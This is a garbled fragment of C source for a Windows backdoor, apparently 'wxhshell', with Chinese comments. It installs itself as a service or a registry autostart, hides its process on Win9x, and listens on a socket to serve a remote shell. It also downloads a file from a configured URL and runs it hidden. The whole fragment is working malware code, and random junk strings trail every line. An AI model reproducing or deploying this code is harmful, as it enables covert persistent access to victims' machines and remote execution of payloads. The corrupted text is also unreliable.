ULONG InheritedFromUniqueProcessId; <k&Q"X:"
} PROCESS_BASIC_INFORMATION; z\8Kz ]n~
n15F4DnP
PROCNTQSIP NtQueryInformationProcess; ]QS?fs Z
f6ad@2
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xCMcS~
3/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ayJKt03\O\
y#Ao6Od6
HANDLE hProcess; h+!Ld^'c
PROCESS_BASIC_INFORMATION pbi; 39QAj&
[g:ZIl4p\P
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @<tkwu
if(NULL == hInst ) return 0; hp]T ^
,tZWPF-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %klC&
_g~_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]N^a/&}*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); shOQ/
T,,,+gPx
if (!NtQueryInformationProcess) return 0; sV+/JDl
%W=S*"e-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u+GtH;<;
if(!hProcess) return 0; EC2KK)=n}
bBBW7',[a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'dp3>4
i*' 6"
CloseHandle(hProcess); G-[fz
X/fk&Cp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w^?uBeqR
if(hProcess==NULL) return 0; (7G5y7wI"
Cyg\FHs
HMODULE hMod; .AOf-a
char procName[255]; ~*9
vn Z@
unsigned long cbNeeded; (5] |Kcp|
%:2<'s2Si
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #`rvL6W q}
s88lN=;
CloseHandle(hProcess); cTpAU9|(
FV>LD% uu
if(strstr(procName,"services")) return 1; // 以服务启动 pt&(c[
ixZ w;+h
return 0; // 注册表启动 ][1*.7-
} &{?*aK&%3l
_6v|k}tW'Y
// 主模块 2XubM+6
int StartWxhshell(LPSTR lpCmdLine) GU\}}j]
{ 5"=qVmT)
SOCKET wsl; |'xVU8
BOOL val=TRUE; !fXw X3B
int port=0; !j,LS$tPu
struct sockaddr_in door; K
r9 P#Y
C~F do0D
if(wscfg.ws_autoins) Install(); I6d4<#Q@L
]p/f@j?LU
port=atoi(lpCmdLine); _zq"<Q c
?YzOA${
if(port<=0) port=wscfg.ws_port; IKx]?0sS
(he cvJ
WSADATA data; L P?E
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !e?g"5r{Bv
XLe8]y=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .}W#YN$
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
'k[O?}
door.sin_family = AF_INET; {//;GC*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @C]]VE
door.sin_port = htons(port); C'mYR3?m;
jU\vg;nr
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vovc,4}
closesocket(wsl); $xRZU9+
return 1; kk_$j_0
} 0J-]
es}j6A1
if(listen(wsl,2) == INVALID_SOCKET) { (\^| @
closesocket(wsl); =SJwCT0;
return 1; acd8?>%[
} ck-ab0n
Wxhshell(wsl); "iFA&$\
WSACleanup(); d1YE$
+DMD
g.
return 0; !QK~l
CG!/Lbd
} \*{tAF
~ZbEKqni2
// 以NT服务方式启动 &?\'Z~B4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )NG{iD{_]
{ hs'J'~a
DWORD status = 0; x8H%88!j*
DWORD specificError = 0xfffffff; %n<u- {`
Q2[@yRY/z
serviceStatus.dwServiceType = SERVICE_WIN32; W\xM$#)m
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $6\-8zNk
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F0,-7<G
serviceStatus.dwWin32ExitCode = 0; d4@\5<
serviceStatus.dwServiceSpecificExitCode = 0; L`E^BuP/
serviceStatus.dwCheckPoint = 0; ,0ZkE}<=w
serviceStatus.dwWaitHint = 0; TNYd_:j
{oIv%U9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?U~}uG^
if (hServiceStatusHandle==0) return; ZZ 1s}TG
2w>lnJ-
status = GetLastError(); uM3F[p%V^
if (status!=NO_ERROR) mIu-
{ 1QHCX*_
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2K/+6t}
serviceStatus.dwCheckPoint = 0; Yv0;U Kd
serviceStatus.dwWaitHint = 0; ofeSGx
serviceStatus.dwWin32ExitCode = status; BzFD_A>j;_
serviceStatus.dwServiceSpecificExitCode = specificError; f@@2@#
5B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jn+NX)9
return; qta^i819
} W)rE_tw,|
Ydv\a6
serviceStatus.dwCurrentState = SERVICE_RUNNING; -BWkPq!
serviceStatus.dwCheckPoint = 0; %,9iY&;U"
serviceStatus.dwWaitHint = 0; |.D_[QI
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1c=Roiq
} 5H_%inWM
,z}wR::%
// 处理NT服务事件,比如:启动、停止 +cAN4
VOID WINAPI NTServiceHandler(DWORD fdwControl) B"O5P>
{ h-VpX6
switch(fdwControl) =2%EIZ0oW
{ Q
!5P
case SERVICE_CONTROL_STOP: vfT<%Kl!'
serviceStatus.dwWin32ExitCode = 0; Is6<3eQ\x
serviceStatus.dwCurrentState = SERVICE_STOPPED; +~ro*{3
serviceStatus.dwCheckPoint = 0; xNt
serviceStatus.dwWaitHint = 0; g%w@v$
{ )=\W
sQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :=#*[H
} \mZ\1wzn'{
return; qL^}t_>
case SERVICE_CONTROL_PAUSE: S3"js4a
serviceStatus.dwCurrentState = SERVICE_PAUSED; 7lpd$Y
break; t;+6>sTu
case SERVICE_CONTROL_CONTINUE: 3Lwl~h!
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;K?fAspSH
break; *VT@
case SERVICE_CONTROL_INTERROGATE: :)nn/[>fC
break; 6l#1E#]|
}; &/lJ7=Nq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); n5_r
3{
} ^o't&
N}\Da:_
// 标准应用程序主函数 ma LJ M\C
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `$`:PT\Zv4
{ h
Ia{s)
xmtbSRgK9
// 获取操作系统版本 lh*m(
OsIsNt=GetOsVer();
~4Is
GetModuleFileName(NULL,ExeFile,MAX_PATH); =y7]9SOq
#&">x7?5
// 从命令行安装 HSx~Fs^J
if(strpbrk(lpCmdLine,"iI")) Install(); @1P1n8mH]
>
3JU
// 下载执行文件 O#A1)~
if(wscfg.ws_downexe) { $X5~9s1Wl
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?{q w
/&
WinExec(wscfg.ws_filenam,SW_HIDE); kETA3(h'
} Xvs{2
.]Z M2
if(!OsIsNt) { }eb%"ZH4|
// 如果时win9x,隐藏进程并且设置为注册表启动 h_ ]3L/
HideProc(); :LVM'c62c>
StartWxhshell(lpCmdLine); ^Gv<Xl
}
wB5zp
else l{#m"S7J^
if(StartFromService()) d^
!3bv*h
// 以服务方式启动 uGl0z79
StartServiceCtrlDispatcher(DispatchTable); +,>f-kaV
else UF<|1;'
// 普通方式启动 qx{.`AaZW
StartWxhshell(lpCmdLine); p"H8;fPA0
|k&.1NkZ
return 0; $},:z]%D
}